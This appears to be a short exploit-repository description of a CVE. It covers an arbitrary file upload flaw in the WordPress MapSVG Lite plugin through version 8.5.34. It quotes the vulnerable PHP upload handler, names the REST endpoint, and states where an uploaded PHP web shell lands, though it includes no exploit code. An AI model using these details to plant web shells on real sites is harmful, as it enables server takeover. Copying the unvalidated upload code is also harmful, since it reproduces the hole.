nxploited/cve-2025-32682WordPress MapSVG Lite Plugin <= 8.5.34 is vulnerable to Arbitrary File Upload
The MapSVG Lite plugin for WordPress does not validate file types when uploading SVG files via its REST API endpoint:
/wp-json/mapsvg/v1/svgfile
This allows an authenticated attacker (Subscriber+) to upload arbitrary PHP files disguised as SVG, resulting in remote code execution (RCE).

The following vulnerable code snippet from the mapsvg-lite-interactive-vector-maps.php file highlights the issue:
public function uploadSVG() {
$file = $_FILES['file'];
$upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
return new \WP_REST_Response(["file" => $upload], 200);
}
This function is directly mapped to the REST endpoint /wp-json/mapsvg/v1/svgfile.

Exploitation of this vulnerability allows an attacker to upload a .php web shell to the /wp-content/uploads/mapsvg/ directory and execute arbitrary commands on the server.
